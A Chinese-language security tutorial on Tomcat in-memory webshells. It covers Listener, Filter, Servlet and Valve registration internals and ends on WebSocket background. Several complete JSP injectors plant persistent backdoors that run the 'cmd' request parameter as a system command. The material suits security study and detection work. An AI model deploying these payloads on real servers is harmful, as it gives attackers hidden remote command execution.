从整体攻防领域角度进行分类,内存马可以分为如下几个类型:
按照以上整体技术图景,我们将本文的讨论重点放在”中间件级别内存马“这个话题上,
为了简化篇幅,下文以Tomcat中间件为例,本质上Jetty原理也是类似的,因为它们都实现了同样的J2EE接口。
所谓中间件接口层内存马,本质上是利用了中间件原生提供的一些”功能“实现了一套运行在内存中的后门逻辑,这些”功能“有一些共性特点,
从整体上,Tomcat架构由Server、Service、Connector、Container组成,如下图所示,
从业务功能角度,tomcat作为一个 Web 服务器,两个最核心的功能是”Http 服务器功能“和”Servlet 容器功能“:
以上两个功能,分别对应着tomcat的两个核心组件连接器(Connector)和容器(Container),
连接器主要完成以下三个核心功能:
以上分别对应三个组件 EndPoint、Processor、Adapter 来完成。
Container组件又称作Catalina,其是Tomcat的核心。在Container中,有4种容器,分别是
这四种容器成套娃式的分层结构设计。
如以下图,a.com和b.com分别对应着两个Host,
请求网站的时候,Tomcat在处理一个HTTP请求的顺序为:
并且执行的顺序不会因为三个标签在配置文件中的先后顺序而改变。
如果web.xml中配置了<context-param>,初始化顺序:context-param > Listener > Filter > Servlet。
其实我们也可以从StandarContext#startInternal中找到对应的调用顺序:
// Configure and call application event listeners if (ok) { if (!listenerStart()) { log.error(sm.getString("standardContext.listenerFail")); ok = false; } } // Check constraints for uncovered HTTP methods // Needs to be after SCIs and listeners as they may programmatically // change constraints if (ok) { checkConstraintsForUncoveredMethods(findConstraints()); } try {//略 } // Configure and call application filters if (ok) { if (!filterStart()) { log.error(sm.getString("standardContext.filterFail")); ok = false; } } // Load and initialize all "load on startup" servlets if (ok) { if (!loadOnStartup(findChildren())){ log.error(sm.getString("standardContext.servletFail")); ok = false; } }
listener是web三大组件之一,是servlet监听器,用来监听请求,监听服务端的操作。负责对Context、Session、Request、参数等创建、销毁变化的监听,可以添加上对应动作。
Java中总共有8个Listener,不同的Listener有不同的生命周期,其大致可分为3类如下:
因为Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:
其中关于监听Request对象的监听器是最适合做内存马的,只要访问服务就能触发操作。
我们接下来重点分析Request相关接口。
如果在Tomcat要引入listener,需要实现两种接口,分别是
实现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马。
所以来看另一个EventListener接口,在Tomcat中,自定义了很多继承于EventListener的接口,应用于各个对象的监听。
重点来看ServletRequestListener接口,
ServletRequestListener用于监听ServletRequest对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法。
我们通过源码来分析一下ServletRequestListener与其执行流程。
写一个继承于ServletRequestListener接口的TestListener:
package memshell.Listener; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; public class TestListener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre) { System.out.println("执行了TestListener requestDestroyed"); } @Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("执行了TestListener requestInitialized"); } }
在web.xml中配置:
<listener> <listener-class>memshell.Listener.TestListener</listener-class> </listener>
访问任意的路径:http://localhost:8080/11
可以看到控制台打印了信息,tomcat先执行了requestInitialized,然后再执行了requestDestroyed。
搞明白了listener的调用点,接下来继续研究如何添加listener。
接以上环境,直接在requestInitialized处下断点,访问url后,显示出整个调用链。
通过调用链发现,Tomcat在StandardHostValve中调用了我们定义的Listener,
跟进context.fireRequestInitEvent,通过StandardContext#getApplicationEventListeners方法获得的listener。
继续往下,调用了requestInitialized方法,
继续往前追溯,listener是在ApplicationContext#addListener中,调用StandardContext#addApplicationEventListener添加的listener,即应用初始化的时候添加的listener。
搞清楚了Listener的基本原理和调用流程,我们的思路就是通过调用StandardContext#addApplicationEventListener方法,add我们自己写的恶意listener。
在jsp中获得StandardContext对象有两种方法,
方式一: <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %> 方式二: WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
jsp listener内存马代码如下,listener_memshell.jsp
<%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.IOException" %> <%! public class MyListener implements ServletRequestListener { public void requestDestroyed(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); if (req.getParameter("cmd") != null){ InputStream in = null; try { in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String out = s.hasNext()?s.next():""; Field requestF = req.getClass().getDeclaredField("request"); requestF.setAccessible(true); Request request = (Request)requestF.get(req); request.getResponse().getWriter().write(out); } catch (IOException e) {} catch (NoSuchFieldException e) {} catch (IllegalAccessException e) {} } } public void requestInitialized(ServletRequestEvent sre) {} } %> <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); MyListener listenerDemo = new MyListener(); context.addApplicationEventListener(listenerDemo); %>
首先访问上传的listener_memshell.jsp生成listener内存马,之后即使listener_memshell.jsp删除,只要不重启服务器,内存马就能存在。
http://localhost:8080/memshell/listener_memshell.jsp?cmd=open%20-a%20Calculator
通过memshell_scan检测,
参考链接:
https://xz.aliyun.com/t/10358#toc-6 https://chenlvtang.top/2022/08/03/Tomcat%E4%B9%8BListener%E5%86%85%E5%AD%98%E9%A9%AC/ https://blog.csdn.net/leichengjun_510/article/details/85338230 https://blog.csdn.net/weixin_39915694/article/details/114788228 https://developer.aliyun.com/article/932526
我们知道当tomcat接收到请求时候,依次会经过Listener -> Filter -> Servlet,
所以,我们也可以通过动态添加Filter来构成内存马。
从上图中可以看到,当请求完成listener处理逻辑,到达Wrapper容器时候,会开始调用FilterChain,这个FilterChain就是若干个Filter组成的过滤器链。最后才会达到Servlet。
因此,只要把我们的恶意filter放入filterchain的第一个位置,就可以触发恶意filter中的方法。
要在FilterChain中加入恶意filter,首先要了解tomcat中Filter的注册流程,
在上图中可以看到,Wrapper容器调用FilterChain的地方就在StandardWrapperValve
类中,
编写一个注册filter的测试代码,
package memshell.Filter; import javax.servlet.*; import java.io.IOException; public class TestFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("filter初始化"); } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { System.out.println("doFilter过滤"); //放行 chain.doFilter(request,response); } @Override public void destroy() { System.out.println("filter销毁"); } }
配置web.xml
<filter> <filter-name>TestFilter</filter-name> <filter-class>memshell.Filter.TestFilter</filter-class> </filter> <filter-mapping> <filter-name>TestFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
在doFilter处下断点,访问任意url:http://127.0.0.1:8080/xxx
可以看到在StandardWrapperValve#invoke中,通过createFilterChain方法获得了一个ApplicationFilterChain类型的filterChain,
其filterChain中存放了两个ApplicationFilterConfig类型的filter,其中第一个就是TestFilter,
跟进doFilter方法,在方法中调用了internalDoFilter,
跟进internalDoFilter后看到,从filters数组里面拿到了第一个filter即Testfilter,
最后调用了filter.doFilter,
从整个跟踪过程可以看到,filter是从filters数组中拿到的。接下来查看createFilterChain如何把我们写的TestFilter添加ApplicationFilterConfig的。
重启tomcat,在createFilterChain这里断下来,
跟进ApplicationFilterFactory#createFilterChain中,看到首先拿到了个ServletRequest,然后通过ServletRequest#getFilterChain获取到了filterChain。
继续往下看,通过StandardContext对象找到了filterMaps[]。
然后又通过filterMaps中的名字,找到StandardContext对象中的FilterConfig,最后把FilterConfig加入了filterChain中。
跟进filterChain.addFilter看到,也就是加入了前面说的filters数组ApplicationFilterConfig中。这里和上面一步的操作就是遍历filter放入ApplicationFilterConfig。
通过以上调试发现,有两个很重要的变量,filterMap和filterConfig。
其实这两个变量都是在StandardContext对象里面存放了,其中还有个变量filterDefs也是重要的变量。
我们如果想要向tomcat注入filter内存马,就需要找到一种渠道,直接向StandardContext对象中注入我们自定义的filter对象。
接下来我们分析filterMaps、filterConfigs、filterDefs的生成逻辑。
既然这三个变量都是从StandardContext中获得,那么查看StandardContext发现有两个方法可以添加filterMap,
在StandardContext中同样寻找添加filterConfig值的地方,发现有一处filterStart方法,此处添加是在tomcat启动时完成,所以下好断点启动tomcat。
filterDefs中存放着TestFilter,遍历这个filterDefs,拿到key为TestFilter,value为FilterDef对象,值test.Testfilter。
接下来new了一个ApplicationFilterConfig,放入了value,然后把nam=TestFilter和filterConfig放入了filterConfigs。
filterDefs才是真正放了过滤器的地方,那么我们看下filterDefs在哪里被加入了。
在StandardContext中同样有个addFilterDef方法,
tomcat是从web.xml中读取的filter,然后加入了filterMap和filterDef变量中,以下对应着这两个变量,
通过上一章对filter注册过程的分析,我们只要通过控制filterMaps、filterConfigs、filterDefs的值,则可以模拟tomcat的filter注册流程,注入恶意的内存马filter。
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "littlehann"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("open","-a",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * 将filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("Filter Memshell Inject Success !"); } %>
首先访问上传的filter_memshell.jsp生成filter内存马,之后即使filter_memshell.jsp删除,只要不重启服务器,内存马就能存在。
http://localhost:8080/memshell/filter_memshell.jsp?cmd=Calculator
注入成功后,就可以通过cmd参数传入参数执行命令,
上面代码用的是open新进程,如果想要执行任意指令,可以改用如下代码,
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "littlehann"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * 将filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("Filter Memshell Inject Success !"); } %>
访问如下链接,第一次注入filter内存马,从第二次之后可以通过cmd参数执行任意指令。
http://localhost:8080/memshell/filter_memshell.jsp?cmd=open%20-a%20Calculator
通过memshell_scan检测,
参考链接:
https://xz.aliyun.com/t/10362 https://www.anquanke.com/post/id/266240
Servlet型的内存马原理就是注册一个恶意的Servlet,与Filter相似,只是创建过程不同。
核心还是看StandardContext,在init filter后就调用了loadOnStartup方法实例化servlet。
可以发现servlet的相关信息是保存在StandardContext的children字段。
根据以下代码可知,只要在children字段添加相应的servlet,loadOnStartup就能够完成init。
接下去就要寻找如何添加恶意wrapper至children,找到addchild方法。
寻找创建wrapper实例的代码,发现createWrapper方法,这样创建恶意servlet流程就清楚了。
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.PrintWriter" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "servletshell"; // 获取上下文 ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); } } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }; org.apache.catalina.Wrapper newWrapper = standardContext.createWrapper(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); standardContext.addChild(newWrapper); standardContext.addServletMappingDecoded("/*",name); out.print("Servlet Memshell Inject Success !"); %> <html> <head> <title>Title</title> </head> <body> </body> </html>
访问如下链接,第一次注入servlet内存马,从第二次之后可以通过cmd参数执行任意指令。
http://localhost:8080/memshell/servlet_memshell.jsp?cmd=open%20-a%20Calculator
Tomcat中按照包含关系一共有四个容器:engine,host,context,wrapper。
在每个容器对象里面都有一个pipeline及valve模块,它们是容器类必须具有的模块,在容器对象生成时自动产生。Pipeline就像是每个容器的逻辑总线。在pipeline上按照配置的顺序,加载各个valve,通过pipeline完成各个valve之间的调用,各个valve实现具体的应用逻辑。
四个容器中每个容器都包含自己的管道对象,管道对象用来存放若干阀门对象,但tomcat会为每一个容器制定一个默认的基础阀门:
四个基础阀门放在各自容器管道的最后一位,用于查找下一级容器的管道。
当各个容器类调用getPipeLine().getFirst().invoke(Request req, Response resp)时,会首先调用用户添加的Valve,最后再调用上述缺省的Standard-Valve。
注意,每一个上层的Valve都是在调用下一层的Valve,并等待下层的Valve返回后才完成的,这样上层的Valve不仅具有Request对象,同时还能获取到Response对象。使得各个环节的Valve均具备了处理请求和响应的能力。
当在server.xml文件中配置了一个定制化valve时,会调用pipeline对象的addValve方法,将valve以链表方式组织起来。
Valve hander代码如下,
package memshell.Valve; import org.apache.catalina.Valve; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import org.apache.catalina.valves.ValveBase; import javax.servlet.ServletException; import java.io.IOException; public class TestHandlerValve extends ValveBase { private Valve next; @Override public Valve getNext() { return next; } @Override public void setNext(Valve valve) { next = valve; } @Override public void backgroundProcess() { } @Override public void invoke(Request request, Response response) throws IOException, ServletException { System.out.println("=====================start==================="); System.out.println("#getNext().getClass().getName(): "+getNext().getClass().getName()); System.out.println(this.getClass().getName()+"#invoke"); System.out.println("request: "+request); System.out.println("response: "+response); System.out.println("request.getServletPath():"+request.getServletPath()); System.out.println("request.getQueryString():"+request.getQueryString()); //例如这里可以获取请求体长度,用来记录请求流量 System.out.println("request.getContentLength(): "+request.getContentLength()); //例如获取响应的流量 System.out.println("response.getBytesWritten(false): "+response.getBytesWritten(false)); System.out.println("==================end======================"); getNext().invoke(request, response); } @Override public boolean isAsyncSupported() { return true; } }
从上面可以清楚的看出,valve按照容器作用域的配置顺序来组织valve,每个valve都设置了指向下一个valve的next引用。同时,每个容器缺省的标准valve都存在于valve链表尾端,这就意味着,在每个pipeline中,缺省的标准valve都是按顺序,最后被调用。
基于以上对tomcat valve初始化和调用顺序原理的分析,我们可以尝试自己创建恶意valve,重写其invoke方法,添加到四大容器中的pipeline。在发送request时,就能够对其进行操作,执行java代码。
在Pipeline类中找到方法addValve,可以添加valve。
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.catalina.Valve" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%! public final class myvalve implements Valve{ private Valve next; @Override public Valve getNext() { return next; } @Override public void setNext(Valve valve) { next = valve; } @Override public void backgroundProcess() { } @Override public void invoke(Request request, Response response) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; if (req.getParameter("cmd") != null){ InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; resp.getWriter().write(output); resp.getWriter().flush(); resp.getWriter().close(); } this.getNext().invoke(request,response); } @Override public boolean isAsyncSupported() { return false; } } %> <% final String name = "shell"; // 获取上下文 ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); myvalve myvalve = new myvalve(); standardContext.getPipeline().addValve(myvalve); out.print("Valve Memshell Inject Success !"); %> <html> <head> <title>Title</title> </head> <body> </body> </html>
访问如下链接,第一次注入servlet内存马,从第二次之后可以通过cmd参数执行任意指令。
http://localhost:8080/memshell/valve_memshell.jsp?cmd=open%20-a%20Calculator
参考链接:
https://www.cnblogs.com/benwu/articles/6081906.html https://mp.weixin.qq.com/s/kfN6uU3A-jR72fyK8epnGw https://www.cnblogs.com/chengwenqin/p/14211808.html https://www.cnblogs.com/xyylll/p/15463635.html
WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然(比如微信朋友圈实时通知、在线协同编辑等)。
主流浏览器以及一些常见服务端通信中间件(Tomcat、Spring、Jetty、WebSphere、WebLogic等)都对WebSocket进行了技术支持。
HTTP/1.1最初是为网络中超文本资源(HTML),请求-响应传输而设计的,后来支持了传输更多类型的资源,如图片、视频等,但都没有改变它单向的请求-响应模式。随着互联网的日益壮大,HTTP/1.1功能使用上已体现捉襟见肘的疲态。虽然可以通过某些方式满足需求(如Ajax、Comet),但是性能上还是局限于HTTP/1.1的技术瓶颈:
在WebSocket出现之前,主要通过长轮询和HTTP长连接实现实时数据更新,这种方式有个统称叫Comet,Tomcat8.5之前有对Comet基于流的HTTP长连接做支持,后来因为WebSocket的成熟和标准化,以及Comet自身依然是基于HTTP,在性能消耗和瓶颈上无法跳脱HTTP,就把Comet废弃了。
还有一个SPDY技术,也对HTTP进行了改进,多路复用流、服务器推送等,后来演化成HTTP/2.0,不过对于HTTP/2.0和WebSocket在Tomcat实现中都是作为协议升级来处理的。
在这种背景下,HTML5制定了WebSocket:
2013年以前还没出JSR356标准,Tomcat就对Websocket做了支持,自定义API,再后来有了JSR356,Tomcat立马紧跟潮流,废弃自定义的API,实现JSR356那一套,这就使得在Tomcat7.0.47之后的版本和之前的版本实现方式并不一样,接入方式也改变了。
JSR356 是java制定的websocket编程规范,属于Java EE 7 的一部分,所以Java开发中要实现websocket功能并不需要任何第三方依赖。
相比HTTP协议,WebSocket协议有如下优点:
接下来我们的讨论就以Java WebSocket标准为例。
WebSocket全双工通信协议,在客户端和服务端建立连接后,可以持续双向通信,和HTTP同属于应用层协议,并且都依赖于传输层的TCP/IP协议。
虽然WebSocket有别于HTTP,是一种新协议,但是RFC 6455中规定:
it is designed to work over HTTP ports 80 and 443 as well as to support HTTP proxies and intermediaries.
在双向通信之前,必须通过握手建立连接。Websocket通过 HTTP/1.1 协议的101状态码进行握手,首先客户端(如浏览器)发出带有特殊消息头(Upgrade、Connection)的请求到服务器,服务器判断是否支持升级,支持则返回响应状态码101,表示协议升级成功,对于WebSocket就是握手成功。
客户端请求示例:
服务端请求示例:
Tomcat将WebSocket通信中的服务端抽象为了Endpoint,并提供两种方式来实现Endpoint:
这两种方式都需要实现相应的生命周期。提供了4个标准的生命周期方法,当产生不同的事件时会被回调触发:
Tomcat在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再扫描 classpath下带有 @ServerEndpoint注解的类进行 addEndpoint加入websocket服务。
所以即使 Tomcat 没有扫描到 @ServerEndpoint注解的类,也会进行Listener和 servlet注册,这就是为什么所有Tomcat启动都能在memshell scanner内看到WsFilter。
通过注解方式实现Endpoint,需要用@ServerEndpoint注解实现了Endpoint生命周期的类,并用生命周期相关的注解(@OnOpen、@OnClose、@OnError、@OnMessage)来注解对应的生命周期实现方法。通过注解的参数,为当前Endpoint注册URI路径。
服务端代码,WebSocketTest.java
package websocket; import java.io.IOException; import java.util.concurrent.CopyOnWriteArraySet; import javax.websocket.OnClose; import javax.websocket.OnError; import javax.websocket.OnMessage; import javax.websocket.OnOpen; import javax.websocket.Session; import javax.websocket.server.ServerEndpoint; /** * @ServerEndpoint 注解是一个类层次的注解,它的功能主要是将目前的类定义成一个websocket服务器端, * 注解的值将被用于监听用户连接的终端访问URL地址,客户端可以通过这个URL来连接到WebSocket服务器端 */ @ServerEndpoint("/websocket") public class WebSocketTest { //静态变量,用来记录当前在线连接数。应该把它设计成线程安全的。 private static int onlineCount = 0; //concurrent包的线程安全Set,用来存放每个客户端对应的MyWebSocket对象。若要实现服务端与单一客户端通信的话,可以使用Map来存放,其中Key可以为用户标识 private static CopyOnWriteArraySet<WebSocketTest> webSocketSet = new CopyOnWriteArraySet<WebSocketTest>(); //与某个客户端的连接会话,需要通过它来给客户端发送数据 private Session session; /** * 连接建立成功调用的方法 * @param session 可选的参数。session为与某个客户端的连接会话,需要通过它来给客户端发送数据 */ @OnOpen public void onOpen(Session session){ this.session = session; webSocketSet.add(this); //加入set中 addOnlineCount(); //在线数加1 System.out.println("有新连接加入!当前在线人数为" + getOnlineCount()); } /** * 连接关闭调用的方法 */ @OnClose public void onClose(){ webSocketSet.remove(this); //从set中删除 subOnlineCount(); //在线数减1 System.out.println("有一连接关闭!当前在线人数为" + getOnlineCount()); } /** * 收到客户端消息后调用的方法 * @param message 客户端发送过来的消息 * @param session 可选的参数 */ @OnMessage public void onMessage(String message, Session session) { System.out.println("来自客户端的消息:" + message); //群发消息 for(WebSocketTest item: webSocketSet){ try { item.sendMessage(message); } catch (Exception e) { e.printStackTrace(); continue; } } } /** * 发生错误时调用 * @param session * @param error */ @OnError public void onError(Session session, Throwable error){ System.out.println("发生错误"); error.printStackTrace(); } /** * 这个方法与上面几个方法不一样。没有用注解,是根据自己需要添加的方法。 * @param message * @throws IOException */ public void sendMessage(String message) throws IOException{ this.session.getBasicRemote().sendText(message); //this.session.getAsyncRemote().sendText(message); } public static synchronized int getOnlineCount() { return onlineCount; } public static synchronized void addOnlineCount() { WebSocketTest.onlineCount++; } public static synchronized void subOnlineCount() { WebSocketTest.onlineCount--; } }
下面是客户端的代码 运用的是H5+JS
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>WebSocket的Client实现</title> </head> <body> Welcome<br/><input id="text" type="text"/> <button onclick="send()">发送消息</button> <hr/> <button onclick="closeWebSocket()">关闭WebSocket连接</button> <hr/> <div id="message"></div> </body> <script type="text/javascript"> var websocket = null; //判断当前浏览器是否支持WebSocket url的地址为本机ip地址+Tomcat端口号+项目名称+注解服务器端 if ('WebSocket' in window) { websocket = new WebSocket("ws://127.0.0.1:8080/memshell/websocket"); } else { alert('当前浏览器 Not support websocket') } //连接发生错误的回调方法 websocket.onerror = function () { setMessageInnerHTML("WebSocket连接发生错误"); }; websocket.onclose = function (e) { console.log('websocket 断开: ' + e.code + ' ' + e.reason + ' ' + e.wasClean) console.log(e) } //连接成功建立的回调方法 websocket.onopen = function () { setMessageInnerHTML("WebSocket连接成功"); } //接收到消息的回调方法 websocket.onmessage = function (event) { setMessageInnerHTML(event.data); } //连接关闭的回调方法 websocket.onclose = function () { setMessageInnerHTML("WebSocket连接关闭"); } //监听窗口关闭事件,当窗口关闭时,主动去关闭websocket连接,防止连接还没断开就关闭窗口,server端会抛异常。 window.onbeforeunload = function () { closeWebSocket(); } //将消息显示在网页上 function setMessageInnerHTML(innerHTML) { document.getElementById('message').innerHTML += innerHTML + '<br/>'; } //关闭WebSocket连接 function closeWebSocket() { websocket.close(); } //发送消息 function send() { var message = document.getElementById('text').value; websocket.send(message); } </script> </html>
访问链接:http://localhost:8080/memshell/websocket_client.jsp
然后就可因进行互发消息了在控制台可以进行观察接入动态。
通过继承抽象类方式实现Endpoint稍微复杂一些,需要实现三个类:
@ServerEndpoint
的话都是使用默认的。
Tomcat的WebSocket加载是通过SCI机制完成的。
Tomcat在启动时会对classpath下的Jar包进行扫描,扫描包中的META-INF/services/javax.servlet.ServletContainerInitializer文件。
对于Tomcat WebSocket来说,下图是tomcat-websocket.jar的ServletCotainerInitializer文件。
tomcat会加载文件中的类,org.apache.tomcat.websocket.server.WsSci,该类是ServletContainerInitializer接口的实现类。
然后该类的@HandleTypes注解的值会指定的一系列类、接口、注解。Tomcat会获取指定类、接口、注解的实现类,并在调用WsSci#onStartup时作为参数传入。
ServerEndpoint、ServerApplicationConfig、Endpoint的实现类,以参数传入WsSci#onStartup。
变量存储情况如下,通过注解方式实现的WebSocketServer类存入了scannedPojoEndpoints,通过继承抽象类方式实现的WebSocketServer2类存入了scannedEndpointClazzes。
另外,scannedEndpointClazzes中还存入了PojoEndpointClient和PojoEndpointServer两个类。接着会根据serverApplicationConfigs、scannedEndpointClazzes、scannedPojoEndpoints三个变量的值,来构建两个变量:
接着就是根据两个变量向WsServerContainer添加Endpoint,完成Endpoint的部署。
完成Ws的添加后,接下来继续跟踪Ws Endpoint的执行。
在WsSci#onStartup中,会进行WsServerContainer的创建和初始化,在创建过程中会通过ServletContext#addFilter调用ApplicationContextFacade#addFilter添加过滤器WsFilter。
之后所有的请求都会经过WsFilter。之后接收到请求之后,如果注册有Endpoint,且请求是WebSocket的协议升级请求,进行规则匹配及升级。
为了匹配规则,会通过WsServerContainer#findMapping获取URI路径对应的WsMappingResult对象,并进行协议升级。
